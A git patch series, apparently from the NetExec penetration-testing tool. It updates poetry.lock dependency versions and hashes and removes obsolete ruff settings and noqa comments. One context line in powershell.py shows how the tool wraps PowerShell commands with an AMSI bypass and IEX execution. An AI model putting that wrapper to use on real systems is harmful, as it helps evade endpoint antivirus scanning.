"sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb"}, + {file = "sspilib-0.5.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:10018d475022643d11b1aeef08e674d8a3f8b03a597ad31fa8c8c302a58ee960"}, + {file = "sspilib-0.5.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2124dece22406b71294311bcef7e0e3fae88e85fee77039a96771f6972c98377"}, + {file = "sspilib-0.5.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:963ca7d7158b19b46fcfd8c3bb5f94696ff6e9cf7b01911586717105f11336b0"}, + {file = "sspilib-0.5.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:13d9fbe9a2e0df6405cac39a2a5a93f0f04c67b8e8d5e4c6cd27f8f76a16ce9c"}, + {file = "sspilib-0.5.0-cp314-cp314t-win32.whl", hash = "sha256:9dad272abf3f4cf0bf95d495075d2987f6ba1fb300f8d603661ccac07d11272f"}, + {file = "sspilib-0.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:7d7724d5dbb31f68e62465863dfb862fe2793281ce40d0c8f2dc60c8f07998f2"}, + {file = "sspilib-0.5.0-cp314-cp314t-win_arm64.whl", hash = "sha256:8ce23ec740dee025136370ed4ae64b7d1535368321049ef960012a57c93ebe15"}, + {file = "sspilib-0.5.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:cbf2c8a907fb51f0522a1360a7d9dc8b08fd0a6edf978ce6f3b96a0d95df6a60"}, + {file = "sspilib-0.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a9f40f896beecaa33530a55201c5c78f840ffc42aaeb9b0a41caaf0626508282"}, + {file = "sspilib-0.5.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:2b1d24be70dfe01733161c05862f6ab653d2f6d2e5bd52138f9dae9c91c23f2e"}, + {file = "sspilib-0.5.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:0f1b75967135d065139b94095c5b5312eb9e3316e6f6a9b317310f6b16ea47ba"}, + {file = "sspilib-0.5.0-cp39-cp39-win32.whl", hash = "sha256:ef3cbac859b2dfc50c9ee6e822bd0f65538196fe5c863f11a53ac13e6d08641c"}, + {file = "sspilib-0.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:a72f6c64e16e9f9ac7a0652579590de54b1c35d1304382d9a1195be1e1a3be6c"}, + {file = "sspilib-0.5.0-cp39-cp39-win_arm64.whl", hash = "sha256:f7a81176e0b59e68259c22f712ce3c411975b897dd32649f22a3aad41e621a21"}, + {file = "sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98"}, ] [[package]] name = "tabulate" -version = "0.9.0" +version = "0.10.0" description = "Pretty-print tabular data" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, - {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, + {file = "tabulate-0.10.0-py3-none-any.whl", hash = "sha256:f0b0622e567335c8fabaaa659f1b33bcb6ddfe2e496071b743aa113f8774f2d3"}, + {file = "tabulate-0.10.0.tar.gz", hash = "sha256:e2cfde8f79420f6deeffdeda9aaec3b6bc5abce947655d17ac662b126e48a60d"}, ] [package.extras] @@ -2417,14 +2592,14 @@ widechars = ["wcwidth"] [[package]] name = "termcolor" -version = "2.5.0" +version = "3.3.0" description = "ANSI color formatting for output in terminal" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, - {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, + {file = "termcolor-3.3.0-py3-none-any.whl", hash = "sha256:cf642efadaf0a8ebbbf4bc7a31cec2f9b5f21a9f726f4ccbb08192c9c26f43a5"}, + {file = "termcolor-3.3.0.tar.gz", hash = "sha256:348871ca648ec6a9a983a13ab626c0acce02f515b9e1983332b17af7979521c5"}, ] [package.extras] @@ -2444,57 +2619,72 @@ files = [ [[package]] name = "tomli" -version = "2.2.1" +version = "2.4.0" description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] markers = "python_version == \"3.10\"" files = [ - {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, - {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, - {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a"}, - {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee"}, - {file = "tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e"}, - {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4"}, - {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106"}, - {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8"}, - {file = "tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff"}, - {file = "tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b"}, - {file = "tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea"}, - {file = "tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8"}, - {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192"}, - {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222"}, - {file = "tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77"}, - {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6"}, - {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd"}, - {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e"}, - {file = "tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98"}, - {file = "tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4"}, - {file = "tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7"}, - {file = "tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c"}, - {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13"}, - {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281"}, - {file = "tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272"}, - {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140"}, - {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2"}, - {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744"}, - {file = "tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec"}, - {file = "tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69"}, - {file = "tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc"}, - {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, + {file = "tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867"}, + {file = "tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9"}, + {file = "tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95"}, + {file = "tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76"}, + {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d"}, + {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576"}, + {file = "tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a"}, + {file = "tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa"}, + {file = "tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614"}, + {file = "tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1"}, + {file = "tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8"}, + {file = "tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a"}, + {file = "tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1"}, + {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b"}, + {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51"}, + {file = "tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729"}, + {file = "tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da"}, + {file = "tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3"}, + {file = "tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0"}, + {file = "tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e"}, + {file = "tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4"}, + {file = "tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e"}, + {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c"}, + {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f"}, + {file = "tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86"}, + {file = "tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87"}, + {file = "tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132"}, + {file = "tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6"}, + {file = "tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc"}, + {file = "tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66"}, + {file = "tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d"}, + {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702"}, + {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8"}, + {file = "tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776"}, + {file = "tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475"}, + {file = "tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2"}, + {file = "tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9"}, + {file = "tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0"}, + {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df"}, + {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d"}, + {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f"}, + {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b"}, + {file = "tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087"}, + {file = "tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd"}, + {file = "tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4"}, + {file = "tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a"}, + {file = "tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c"}, ] [[package]] name = "tqdm" -version = "4.67.1" +version = "4.67.3" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, - {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, + {file = "tqdm-4.67.3-py3-none-any.whl", hash = "sha256:ee1e4c0e59148062281c49d80b25b67771a127c85fc9676d3be5f243206826bf"}, + {file = "tqdm-4.67.3.tar.gz", hash = "sha256:7d825f03f89244ef73f1d4ce193cb1774a8179fd96f31d7e1dcde62092b960bb"}, ] [package.dependencies] @@ -2509,26 +2699,27 @@ telegram = ["requests"] [[package]] name = "typing-extensions" -version = "4.12.2" -description = "Backported and Experimental Type Hints for Python 3.8+" +version = "4.15.0" +description = "Backported and Experimental Type Hints for Python 3.9+" optional = false -python-versions = ">=3.8" -groups = ["main"] +python-versions = ">=3.9" +groups = ["main", "dev"] files = [ - {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, - {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, + {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, + {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, ] +markers = {dev = "python_version == \"3.10\""} [[package]] name = "unicrypto" -version = "0.0.11" +version = "0.0.12" description = "Unified interface for cryptographic libraries" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "unicrypto-0.0.11-py3-none-any.whl", hash = "sha256:6eca25e58797ba0965aba9d7a8cded15001dfaa424a622111d90a1f4f7afe733"}, - {file = "unicrypto-0.0.11.tar.gz", hash = "sha256:44ab77bbf0e9ea6a4e957bc03d015cf837b9533c5319129e44d950be273d40a5"}, + {file = "unicrypto-0.0.12-py3-none-any.whl", hash = "sha256:6fb7e9bbaa60c49128ad6584201290ead99b703ae834c28911c82ddca38a0d6f"}, + {file = "unicrypto-0.0.12.tar.gz", hash = "sha256:7b7fc4f54d56422abbbc41f863f99b27a8674531f4a42003f3f953e4a722bde1"}, ] [package.dependencies] @@ -2536,48 +2727,48 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.3.0" +version = "2.6.3" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "urllib3-2.3.0-py3-none-any.whl", hash = "sha256:1cee9ad369867bfdbbb48b7dd50374c0967a0bb7710050facf0dd6911440e3df"}, - {file = "urllib3-2.3.0.tar.gz", hash = "sha256:f8c5449b3cf0861679ce7e0503c7b44b5ec981bec0d1d3795a07f1ba96f0204d"}, + {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, + {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, ] [package.extras] -brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] +brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["zstandard (>=0.18.0)"] +zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] [[package]] name = "wcwidth" -version = "0.2.13" +version = "0.6.0" description = "Measures the displayed width of unicode strings in a terminal" optional = false -python-versions = "*" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, - {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, + {file = "wcwidth-0.6.0-py3-none-any.whl", hash = "sha256:1a3a1e510b553315f8e146c54764f4fb6264ffad731b3d78088cdb1478ffbdad"}, + {file = "wcwidth-0.6.0.tar.gz", hash = "sha256:cdc4e4262d6ef9a1a57e018384cbeb1208d8abbc64176027e2c2455c81313159"}, ] [[package]] name = "werkzeug" -version = "3.1.3" +version = "3.1.6" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, - {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, + {file = "werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131"}, + {file = "werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25"}, ] [package.dependencies] -MarkupSafe = ">=2.1.1" +markupsafe = ">=2.1.1" [package.extras] watchdog = ["watchdog (>=2.3)"] @@ -2599,16 +2790,19 @@ cryptography = ">=38.0.1" [[package]] name = "xmltodict" -version = "0.14.2" +version = "1.0.4" description = "Makes working with XML feel like you are working with JSON" optional = false -python-versions = ">=3.6" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, - {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, + {file = "xmltodict-1.0.4-py3-none-any.whl", hash = "sha256:a4a00d300b0e1c59fc2bfccb53d7b2e88c32f200df138a0dd2229f842497026a"}, + {file = "xmltodict-1.0.4.tar.gz", hash = "sha256:6d94c9f834dd9e44514162799d344d815a3a4faec913717a9ecbfa5be1bb8e61"}, ] +[package.extras] +test = ["pytest", "pytest-cov"] + [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" From 4c6ee6b9dac7ace06dd172681b304a5b94e57f66 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 20 Mar 2026 07:24:01 -0400 Subject: [PATCH 121/165] Remove obsolete ruff setting --- pyproject.toml | 1 - 1 file changed, 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 9f017eb5dd..6a2d21dc2d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -95,7 +95,6 @@ exclude = [ ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] -line-length = 65000 preview = true [tool.ruff.lint] From 6a443a5d3e55d2fb2733b1c73b1984a980589a36 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 20 Mar 2026 07:25:42 -0400 Subject: [PATCH 122/165] Clean up ruff --- nxc/helpers/powershell.py | 2 +- nxc/modules/add-computer.py | 2 +- nxc/modules/get-network.py | 2 +- nxc/paths.py | 2 +- nxc/protocols/ssh/database.py | 2 +- nxc/protocols/winrm/database.py | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/helpers/powershell.py b/nxc/helpers/powershell.py index 7f3bb73144..84ae0a03c8 100644 --- a/nxc/helpers/powershell.py +++ b/nxc/helpers/powershell.py @@ -137,7 +137,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None amsi_bypass = "" # for readability purposes, we do not do a one-liner - if force_ps32: # noqa: SIM108 + if force_ps32: # https://stackoverflow.com/a/60155248 command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}" else: diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 723ddc9eca..53a77ede22 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -116,7 +116,7 @@ def _samr_execute(self, dce, target_name): domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"] try: - if self.delete or self.change_pw: # noqa: SIM108 + if self.delete or self.change_pw: user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username) else: user_handle = self._samr_create(dce, domain_handle, self.connection.username) diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index d9931131c9..ddc01864cf 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -107,7 +107,7 @@ def on_login(self, context, connection): recordname = site["name"] if "dnsRecord" in site: - if isinstance(site["dnsRecord"], list): # noqa: SIM108 + if isinstance(site["dnsRecord"], list): records = [bytes(r) for r in site["dnsRecord"]] else: records = [bytes(site["dnsRecord"])] diff --git a/nxc/paths.py b/nxc/paths.py index a9a148d1a8..5b81825bbe 100644 --- a/nxc/paths.py +++ b/nxc/paths.py @@ -2,7 +2,7 @@ from os import environ, getenv import nxc -if "NXC_PATH" in environ: # noqa: SIM108 +if "NXC_PATH" in environ: NXC_PATH = normpath(getenv("NXC_PATH")) else: NXC_PATH = normpath(expanduser("~/.nxc")) diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index e04d0684eb..9da4be6744 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -246,7 +246,7 @@ def 